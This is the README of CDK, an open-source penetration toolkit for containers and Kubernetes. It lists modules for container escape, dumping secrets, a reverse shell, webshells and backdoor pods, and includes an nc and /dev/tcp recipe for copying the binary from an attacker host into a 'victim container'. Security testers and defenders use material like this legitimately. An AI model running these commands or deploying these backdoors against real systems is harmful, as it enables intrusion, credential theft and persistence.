CDK – Zero Dependency Container Penetration Toolkit

Legal Disclaimer

Usage of CDK for attacking targets without prior mutual consent is illegal.
CDK is for security testing purposes only.

Overview

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Installation/Delivery

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

TIPS: Deliver CDK into target container in real-world penetration testing

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

  1. First, host CDK binary on your host with public IP.

(on your host)
nc -lvp 999 < cdk
  1. Inside the victim container execute

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk auto-escape <cmd>
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

Features

CDK has three modules:

  1. Evaluate: gather information inside container to find potential weakness.
  2. Exploit: for container escaping, persistance and lateral movement
  3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Evaluate Module

Usage

cdk evaluate [--full]

This command will run the scripts below without local file scanning, using --full to enable all.

Tactics Script Supported Usage/Example
Information Gathering OS Basic Info link
Information Gathering Available Capabilities link
Information Gathering Available Linux Commands link
Information Gathering Mounts link
Information Gathering Net Namespace link
Information Gathering Sensitive ENV link
Information Gathering Sensitive Process link
Information Gathering Sensitive Local Files link
Information Gathering Kube-proxy Route Localnet(CVE-2020-8558) link
Discovery K8s Api-server Info link
Discovery K8s Service-account Info link
Discovery Cloud Provider Metadata API link

Exploit Module

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]
Tactic Technique CDK Exploit Name Supported In Thin Doc
Escaping docker-runc CVE-2019-5736 runc-pwn
Escaping containerd-shim CVE-2020-15257 shim-pwn link
Escaping docker.sock PoC (DIND attack) docker-sock-check link
Escaping docker.sock RCE docker-sock-pwn link
Escaping Docker API(2375) RCE docker-api-pwn link
Escaping Device Mount Escaping mount-disk link
Escaping LXCFS Escaping lxcfs-rw link
Escaping Cgroups Escaping mount-cgroup link
Escaping Procfs Escaping mount-procfs link
Escaping Ptrace Escaping PoC check-ptrace link
Escaping Rewrite Cgroup(devices.allow) rewrite-cgroup-devices link
Escaping Read arbitrary file from host system (CAP_DAC_READ_SEARCH) cap-dac-read-search link
Discovery K8s Component Probe service-probe link
Discovery Dump Istio Sidecar Meta istio-check link
Discovery Dump K8s Pod Security Policies k8s-psp-dump link
Remote Control Reverse Shell reverse-shell link
Credential Access Registry BruteForce registry-brute link
Credential Access Access Key Scanning ak-leakage link
Credential Access Dump K8s Secrets k8s-secret-dump link
Credential Access Dump K8s Config k8s-configmap-dump link
Privilege Escalation K8s RBAC Bypass k8s-get-sa-token link
Persistence Deploy WebShell webshell-deploy link
Persistence Deploy Backdoor Pod k8s-backdoor-daemonset link
Persistence Deploy Shadow K8s api-server k8s-shadow-apiserver link
Persistence K8s MITM Attack (CVE-2020-8554) k8s-mitm-clusterip link
Persistence Deploy K8s CronJob k8s-cronjob link

Note about Thin: The thin release is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.

Tool Module

Running commands like in Linux, little different in input-args, see the usage link.

cdk nc [options]
cdk ps
Command Description Supported Usage/Example
nc TCP Tunnel link
ps Process Information link
ifconfig Network Information link
vi Edit Files link
kcurl Request to K8s api-server link
dcurl Request to Docker HTTP API link
ucurl Request to Docker Unix Socket link
rcurl Request to Docker Registry API
probe IP/Port Scanning link

Release Document

If you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the Release Document.

Developer Docs

Contributing to CDK

First off, thanks for taking the time to contribute!

By reporting any issue, ideas or PRs, your GitHub ID will be listed here.

Bug Reporting

Bugs are tracked as GitHub Issues. Create an issue with the current CDK version, error msg and the environment. Describe the exact steps which reproduce the problem.

Suggesting Enhancements

Enhancement suggestions are tracked as GitHub Discussions. You can publish any thoughts here to discuss with developers directly.

Pull Requests

Fix problems or maintain CDK’s quality:

  • Describe the current CDK version, environment, problem and exact steps that reproduce the problem.
  • Running screenshots or logs before and after you fix the problem.

New feature or exploits:

  • Explain why this enhancement would be useful to other users.
  • Please enable a sustainable environment for us to review contributions.
  • Screenshots about how this new feature works.
  • If you are committing a new evaluate/exploit scripts, please add a simple doc to your PR message, here is an example.

Events

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Project CDK is now included in 404Team Starlink Project 2.0. Join the StarLink community to get in touch with CDK dev-team.

BlackHat Asia 2021 Arsenal

HITB SecConf 2021 Amsterdam

WHC 2021

KCON 2021 Arsenal

GitHub

https://github.com/cdk-team/CDK